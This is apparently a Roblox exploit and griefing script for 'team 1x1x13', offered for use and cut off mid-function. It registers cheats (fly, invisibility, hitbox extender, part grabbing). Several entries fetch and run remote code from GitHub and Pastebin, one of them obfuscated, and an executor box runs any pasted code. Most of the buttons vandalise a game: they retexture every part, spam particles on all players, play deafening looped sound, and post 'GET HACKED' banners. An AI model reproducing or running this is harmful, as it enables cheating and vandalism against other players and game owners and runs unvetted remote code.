FunctionManager:register("Orbit All Nearby Parts", function() local radius = 20 local height = 3 local orbitSpeed = 2 local speaker = Players.LocalPlayer local character = speaker.Character or speaker.CharacterAdded:Wait() local root = character:FindFirstChild("HumanoidRootPart") if not root then NotifyERROR("No HumanoidRootPart found.") return end local origin = root.Position local orbitParts = {} for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then local isInCharacter = false for _, player in ipairs(Players:GetPlayers()) do local char = player.Character if char and part:IsDescendantOf(char) then isInCharacter = true break end end if not isInCharacter and (part.Position - origin).Magnitude <= radius then if not CollectionService:HasTag(part, "OrbitPart") then if part:CanSetNetworkOwnership() then part:SetNetworkOwner(speaker) else warn("Cannot set network owner for part:", part.Name) end part.CanCollide = false CollectionService:AddTag(part, "OrbitPart") table.insert(orbitParts, part) end end end end if #orbitParts == 0 then warn("No parts found for orbit.") return end local angleOffset = 2 * math.pi / #orbitParts for i, part in ipairs(orbitParts) do local angle = angleOffset * i local startPos = root.Position + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) part.Position = startPos local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) bodyGyro.P = 1e4 bodyGyro.CFrame = CFrame.new(part.Position, root.Position) bodyGyro.Parent = part local bodyVel = Instance.new("BodyVelocity") bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5) bodyVel.P = 1e4 bodyVel.Parent = part local conn conn = RunService.Heartbeat:Connect(function(dt) if not root or not root.Parent then conn:Disconnect() return end angle += orbitSpeed * dt local orbitCenter = root.Position local orbitPoint = orbitCenter + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) local tangent = Vector3.new( -math.sin(angle), 0, math.cos(angle) ).Unit * orbitSpeed * radius bodyVel.Velocity = tangent bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter) part.Position = orbitPoint end) end warn("Orbiting", #orbitParts, "parts around you.") end, "Fun", "You have to be near the parts for a while for it to work") local function toggleInvisibility() if invisRunning then return end invisRunning = true local player = Players.LocalPlayer repeat task.wait(0.1) until player.Character local originalChar = player.Character originalChar.Archivable = true local invisibleChar = originalChar:Clone() invisibleChar.Name = "" invisibleChar.Parent = Lighting -- clone transparency for _, part in ipairs(invisibleChar:GetDescendants()) do if part:IsA("BasePart") then part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5 end end -- we’ll need these in nested functions: local isInvis = false local voidConn, deathConn, steppedConn -- Respawn helper (puts you back to originalChar) local function Respawn() invisRunning = false if steppedConn then steppedConn:Disconnect() end if deathConn then deathConn:Disconnect() end player.Character = originalChar originalChar.Parent = workspace -- destroy the extra humanoid local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid") if clonedHum then clonedHum:Destroy() end invisibleChar.Parent = nil end -- fix for falling through the void local voidY = workspace.FallenPartsDestroyHeight steppedConn = RunService.Stepped:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local y = hrp.Position.Y if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then Respawn() end end) -- if cloned character dies local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid") deathConn = clonedHum.Died:Connect(Respawn) -- now swap them local camCF = workspace.CurrentCamera.CFrame local hrpCF = originalChar.HumanoidRootPart.CFrame originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable task.wait(0.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom invisibleChar.Parent = workspace invisibleChar.HumanoidRootPart.CFrame = hrpCF player.Character = invisibleChar -- re‑enable animations for _, a in ipairs(player.Character:GetDescendants()) do if a.Name == "Animate" and a:IsA("Model") then a.Disabled = true; a.Disabled = false end end workspace.CurrentCamera:remove() wait(.1) repeat wait() until player.Character ~= nil workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" player.CameraMinZoomDistance = 0.5 player.CameraMaxZoomDistance = 400 player.CameraMode = "Classic" player.Character.Head.Anchored = false player.Character.Animate.Enabled = false player.Character.Animate.Enabled = true Notify("You are now invisible!", "System", 3) end FunctionManager:register( "Invisible", toggleInvisibility, "Fun", "Make your character invisible until you respawn or die" ) FunctionManager:register("Fly", function() if not HRP then warn("No HumanoidRootPart found; cannot fly.") return end flyingEnabled = not flyingEnabled if flyingEnabled then flyBG = Instance.new("BodyGyro") flyBG.P = 9e4 flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4) flyBG.CFrame = HRP.CFrame flyBG.Parent = HRP flyBV = Instance.new("BodyVelocity") flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4) flyBV.Velocity = Vector3.new(0, 0, 0) flyBV.Parent = HRP flyConn = RunService.Heartbeat:Connect(function() local camCFrame = workspace.CurrentCamera.CFrame local dir = Vector3.new() if UserInputService:IsKeyDown(Enum.KeyCode.W) then dir = dir + camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then dir = dir - camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then dir = dir - camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then dir = dir + camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0, 1, 0) end if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then dir = dir - Vector3.new(0, 1, 0) end if dir.Magnitude > 0 then dir = dir.Unit * 50 end flyBV.Velocity = dir flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector) end) else if flyConn then flyConn:Disconnect() flyConn = nil end if flyBG then flyBG:Destroy() flyBG = nil end if flyBV then flyBV:Destroy() flyBV = nil end end end, "Movement", "Fly around!") FunctionManager:register("HatHub", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))() end, "Troll", "Credits to original maker!") FunctionManager:register("Hitbox Extender", function() loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))() end, "Troll", "Extends hitboxes") FunctionManager:register("Part Grab", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))() end, "Troll", "Much better part grab") FunctionManager:register("Hat Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))() end, "Troll", "HATS") FunctionManager:register("PART ORBIT", function() loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))() end, "Troll", "Probs better orbit") FunctionManager:register("chat unbanner", function() loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))() end, "Utility", "Credits to the original maker!") FunctionManager:register("Fling GUI", function() loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))() end, "Troll", "Credits to the original maker!") --init updateGrid() end) end; task.spawn(C_8); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_a() local script = G2L["a"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "join team 1x1x13" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_a); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_c() local script = G2L["c"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.MouseButton1Down:Connect(function() local function write(text,object) if object:IsA("Hint") == true then local count = object:FindFirstChild("Count") if count == nil then count = Instance.new("NumberValue") count.Parent = object count.Name = "Count" count.Value = count.Value + 1 else count.Value = count.Value + 1 end local startcount = count.Value for i = 1,#text do if count.Value == startcount then local letter = string.sub(text,i,i) object.Text = string.sub(text,1,i) wait(0.001) else break end end end end local bro = Instance.new("Hint",workspace) write("TEAM 1x1x13 JOIN TODAY!",bro) end) end) end; task.spawn(C_c); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_e() local script = G2L["e"]; function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting s.SkyboxBk = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxDn = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxFt = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxLf = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxRt = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxUp = "http://www.roblox.com/asset/?id=100363353303781" game.Lighting.TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_e); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_10() local script = G2L["10"]; function click() local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=100363353303781" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=100363353303781" Two.Texture = "http://www.roblox.com/asset/?id=100363353303781" Three.Texture = "http://www.roblox.com/asset/?id=100363353303781" Four.Texture = "http://www.roblox.com/asset/?id=100363353303781" Five.Texture = "http://www.roblox.com/asset/?id=100363353303781" Six.Texture = "http://www.roblox.com/asset/?id=100363353303781" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_10); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_12() local script = G2L["12"]; ---by 777 plz dont6 leak script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) end; task.spawn(C_12); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_14() local script = G2L["14"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_14); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_16() local script = G2L["16"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_16); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_18() local script = G2L["18"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text='GET HACKED MY TEAM 1x1x13 JOIN TODAY'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_18); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1a() local script = G2L["1a"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1a); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1c() local script = G2L["1c"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end 